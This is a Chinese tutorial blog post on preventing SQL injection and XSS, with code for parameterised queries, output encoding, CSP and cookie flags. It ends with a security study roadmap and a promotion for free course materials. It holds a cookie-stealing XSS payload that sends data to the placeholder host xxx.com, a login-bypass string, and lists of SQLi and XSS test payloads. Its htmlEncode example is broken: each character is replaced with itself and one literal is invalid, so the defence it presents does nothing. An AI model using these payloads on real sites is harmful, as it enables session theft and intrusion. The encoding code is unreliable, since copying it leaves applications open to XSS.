Web 业务防护：如何防御 SQL 注入与 XSS 攻击
前言
SQL 注入与 XSS 跨站脚本，是 OWASP Top10 常年稳居前列的经典 Web 漏洞，也是渗透测试中最容易挖到的高危漏洞。很多开发以为简单过滤关键字就能防护，结果被各种编码、变形、注释绕过，造成数据库泄露、Cookie 窃取、账户劫持、后台沦陷等严重后果。
SQL 注入核心危害：读取、篡改数据库数据，拿到服务器权限；XSS 核心危害：劫持用户会话、钓鱼、窃取账号、在用户浏览器执行恶意代码。二者攻击入口大多来自用户可控输入：URL 参数、表单、接口 JSON、评论、HTTP 请求头。
本文结合开发编码规范、安全加固、WAF、纵深防御，讲解 SQL 注入、XSS 原理、攻击场景、正确防御手段，同时指出开发最容易踩的坑，适合后端开发、安全测试、运维阅读。
免责声明：本文仅用于 Web 安全学习、授权环境漏洞测试。严禁在未授权网站上进行注入、XSS 测试，未经授权的安全测试违反《网络安全法》，需要承担法律责任。
一、SQL 注入原理与实战防御
1.1 什么是 SQL 注入
当后端直接把用户输入拼接到 SQL 语句中，攻击者输入 SQL 语法字符，篡改原有 SQL 逻辑，让数据库执行非预期 SQL 指令。
经典登录绕过 Payload：
用户名：' OR 1=1 --
后端不安全拼接后 SQL 变成：
select * from user where username='' OR 1=1 -- ' and password='xxx'
--代表 SQL 注释，直接绕过密码校验，成功登录。
核心本质：用户输入被数据库解析成 SQL 代码，而不是单纯的数据。
1.2 正确防御方案（优先级从高到低）
✅ 方案 1：使用预编译参数化查询（根治方案，首选）
原理：SQL 语句模板提前发给数据库完成语法编译，用户输入仅作为参数绑定，参数永远不会被数据库解析为 SQL 语法，无论输入任何特殊字符、关键字，只会当成普通字符串处理。
Java 示例：
String sql = "SELECT * FROM user WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
MyBatis 注意坑：
#{}：预编译占位符，安全；${}：直接字符串拼接，极易产生注入！只有动态表名、排序字段才不得已使用，并且要做严格白名单校验。
PHP PDO 安全写法：
$stmt = $pdo->prepare("select * from user where username=?");
$stmt->execute([$username]);
Node.js 示例：
const sql = 'SELECT * FROM user WHERE username = ?';
connection.query(sql, [username], function(err, result){})
✅ 方案 2：优先使用 ORM 框架（减少手写 SQL）
MyBatis-Plus、Hibernate、Sequelize、GORM 等 ORM 框架，默认使用参数化查询，大幅减少手动拼接 SQL 带来的注入风险。
⚠️重要提醒：ORM 不等于绝对安全，如果自己拼接原生 SQL 字符串，依然会出现注入漏洞。
✅ 方案 3：输入白名单校验（不是黑名单过滤）
白名单：只允许符合预期格式的数据。
例如手机号只能数字，用户名只能字母数字下划线，限制长度。
// 用户名正则：只允许字母、数字、下划线，长度4~20
^[a-zA-Z0-9_]{4,20}$
❌黑名单不可靠：过滤union、select、'这类关键字，攻击者可以大小写变形、注释拆分、编码绕过。黑名单只能作为辅助，不能作为主防御手段。
✅ 方案 4：数据库账号最小权限原则
业务连接数据库账号，禁止使用 root、sa、sys 超级管理员账号。
- 普通查询账号：只允许 select；
- 提交业务账号：仅拥有业务表 insert/update，禁止 drop、alter、exec 等高危权限；
就算发生注入，也能缩小攻击面，防止拖库、删库。
✅ 方案 5：其他辅助加固
- 关闭数据库错误详细信息，不要直接把 SQL 报错返回前端，防止攻击者通过报错获取表名、字段；
- 限制数据库连接 IP，业务库不对外网开放；
- WAF 添加注入规则，作为最后一层防护。
1.3 SQL 注入常见踩坑
❌坑 1：使用黑名单过滤单引号，攻击者用宽字符注入、编码绕过；
❌坑 2：使用 PDO 但开启模拟预编译（PHP 老版本），模拟预编译不防注入；
❌坑 3：使用 ORM，但是直接拼接字符串写原生 SQL；
❌坑 4：认为前端做校验就安全，前端校验可以被抓包修改，后端校验必不可少。
二、XSS 跨站脚本原理与防御
2.1 XSS 三种类型
- 存储型 XSS（高危）
恶意脚本存入数据库（评论、留言、公告），其他用户访问页面时自动加载执行。持久化攻击，危害最大，可批量窃取大量用户 Cookie。
Payload 示例：<script>stealCookie=document.cookie;location.href='http://xxx.com/steal?c='+stealCookie</script> - 反射型 XSS
恶意代码放在 URL 参数，后端拿到参数直接返回页面，不会存入数据库。需要诱导用户点击特制链接才能触发，搜索框、错误页面最常见。 - DOM 型 XSS****服务端无漏洞，完全前端漏洞。JS 直接读取 URL、DOM 数据，拼接进页面，不需要后端参与。document.write、innerHTML、eval、location.href 等函数是高危点。
XSS 本质：用户可控数据输出到 HTML 页面，被浏览器解析成 JS 代码执行。
2.2 XSS 核心防御方案
✅ 方案 1：输出上下文编码（最核心手段）
不要简单统一替换<、>，编码方式由输出位置决定，不同上下文需要不同转义规则：
- HTML 正文区域：HTML 实体编码，
& < > " '转义； - HTML 属性值：属性编码；
- JS 代码块内部：JS 转义；
- CSS 内：CSS 编码；
- URL 参数：URL 编码。
基础 HTML 实体转义函数示例：
function htmlEncode(str){
return str.replace(/&/g,'&')
.replace(/</g,'<')
.replace(/>/g,'>')
.replace(/"/g,'"')
.replace(/'/g,''');
}
现代前端框架 React、Vue 默认对插值内容自动做 HTML 转义，但是v-html、dangerouslySetInnerHTML会关闭转义，极易引入 XSS 漏洞。
✅ 方案 2：输入校验（白名单优先）
对用户提交内容做限制，比如评论如果不允许 HTML 标签，直接过滤标签；如果富文本业务（编辑器），不要手动写正则过滤标签，使用成熟富文本过滤库（DOMPurify）。
手写 HTML 标签黑名单过滤几乎一定会被绕过。
✅ 方案 3：CSP 内容安全策略（纵深防御，强烈推荐）
CSP 是 HTTP 响应头，相当于浏览器白名单，指定允许加载 JS、图片、脚本来源。即使页面存在 XSS 漏洞，非白名单的脚本也无法执行，是非常优秀的兜底防护。
示例响应头：
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self';
配置注意事项：
- 尽量不要开启
unsafe-inline、unsafe-eval，开启后 CSP 防护效果大幅下降； - 上线先用
Content-Security-Policy-Report-Only模式，只记录不拦截，避免误伤业务； - 配合 nonce 或者 hash，安全的引入内联脚本。
✅ 方案 4：Cookie 安全属性，减少 XSS 危害
设置 Cookie：HttpOnly;Secure;SameSite=Strict
- HttpOnly：JS 无法读取 Cookie，就算 XSS 成功，也拿不到会话 Cookie；
- Secure：仅 HTTPS 下传输 Cookie；
- SameSite：防御 CSRF，同时降低部分 XSS 劫持风险。
HttpOnly 不能阻止 XSS 脚本执行，只是保护 Cookie，不能单独作为 XSS 防御手段。
✅ 方案 5：WAF 辅助防护
WAF 识别<script、javascript:、事件标签等 XSS 特征，拦截恶意请求，属于外层防护，不能替代代码层修复。
2.3 XSS 高频踩坑清单
❌坑 1：只在输入时过滤，存入数据库，输出不编码（二次存储型 XSS）；
❌坑 2：统一 HTML 转义后直接放到 JS 代码块，上下文不匹配，依旧可以绕过；
❌坑 3：Vue/React 使用 v-html、dangerouslySetInnerHTML 渲染用户输入；
❌坑 4：富文本编辑器，只简单过滤 script 标签，忽略 onclick、onerror、javascript 伪协议；
❌坑 5：DOM-XSS 只在后端做防护，前端 JS 直接操作 DOM，后端无法管控。
三、SQL 注入与 XSS 防御对比表
表格
| 漏洞 | 根本成因 | 首选防御 | 辅助加固 | 常见坑 |
|---|---|---|---|---|
| SQL 注入 | 用户输入拼入 SQL 语句，被数据库解析 | 参数化预编译查询 | 最小数据库权限、关闭详细报错、WAF | 使用 ${} 字符串拼接、黑名单过滤 |
| XSS 跨站脚本 | 用户数据输出到页面，被浏览器解析 JS | 输出上下文编码 | CSP、Cookie HttpOnly、DOMPurify 富文本过滤 | v-html、innerHTML、只做输入过滤不做输出编码 |
四、完整纵深防御体系（开发 + 网关 + 测试）
1. 开发阶段（根源防护，最重要）
- 所有用户输入（参数、表单、JSON、Header）默认不可信；
- SQL 全部使用预编译，禁止直接拼接 SQL 字符串；
- 数据输出到页面，根据上下文做对应编码；富文本使用成熟净化库；
- 代码安全审计，扫描工具检查 SQL 拼接、危险 DOM 函数；
2. 网关 / 中间件层
- WAF 部署，拦截注入、XSS 攻击 Payload；
- 关闭 Web 详细错误页面，不泄露代码、数据库信息；
- 配置 CSP、X-XSS-Protection 安全响应头；
3. 测试上线阶段
- 上线前安全扫描：使用 AWVS、Xray 扫描注入、XSS 漏洞；
- 人工渗透测试，尝试各种变形 Payload 绕过过滤；
- 安全评审，高危漏洞必须修复才能上线；
4. 运维监控
- WAF 日志审计，持续监控注入、XSS 攻击请求；
- 告警高频攻击 IP，拉黑恶意 IP；
五、漏洞快速自测 Payload（授权环境测试使用）
SQL 注入简易测试：
' and 1=1 --
' and 1=2 --
union select 1,version() --
XSS 简易测试：
<script>alert(1)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)
注意：仅可用于自己拥有授权的业务站点，外部网站未经授权严禁测试。
六、总结
SQL 注入的核心思路：分离 SQL 结构和用户数据，使用预编译，禁止字符串拼接 SQL；
XSS 的核心思路：输入校验，输出编码，CSP 兜底，区分渲染上下文。
很多开发会误以为 WAF 可以解决一切问题，WAF 只是外层防护，很容易被编码、变形、请求拆分绕过，漏洞的根治一定是在代码层面修复。二者都是经典漏洞，但直到现在依然在大量业务系统中频繁出现，根源就是开发不理解漏洞原理，依赖简单黑名单过滤。
一句话记住：防注入，不用字符串拼接 SQL；防 XSS，输出时按上下文编码，CSP 做兜底；所有用户输入永远不可信。
最后
网络安全需要学习那些知识
网络安全零基础入门学习路线&规划
初级
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）
2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）
4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）
恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k
到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？
想要入坑黑客&网络安全的朋友，给大家准备了一份：282G全网最全的网络安全资料包免费领取！
7、脚本编程（初级/中级/高级）
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力.
零基础入门，建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习； 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP， IDE强烈推荐Sublime； ·Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完； ·用Python编写漏洞的exp,然后写一个简单的网络爬虫； ·PHP基本语法学习并书写一个简单的博客系统； 熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)； ·了解Bootstrap的布局或者CSS。
8、超级黑客
这部分内容对零基础的同学来说还比较遥远，就不展开细说了，贴一个大概的路线。
网络安全工程师企业级学习路线
视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。
一些我自己买的、其他平台白嫖不到的视频教程：
要学习网安其实不难，难的是坚持和相信自己，我的经验是既然已经选定网安你就要相信它，相信它能成为你日后进阶的高效渠道，这样自己才会更有信念去学习，才能在碰到困难的时候坚持下去。
机会属于有准备的人，这是一个实力的时代。人和人之间的差距不在于智商，而在于如何利用业余时间，只要你想学习，什么时候开始都不晚，不要担心这担心那，你只需努力，剩下的交给时间！
这份完整版的学习资料已经上传优快云，朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】
328
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
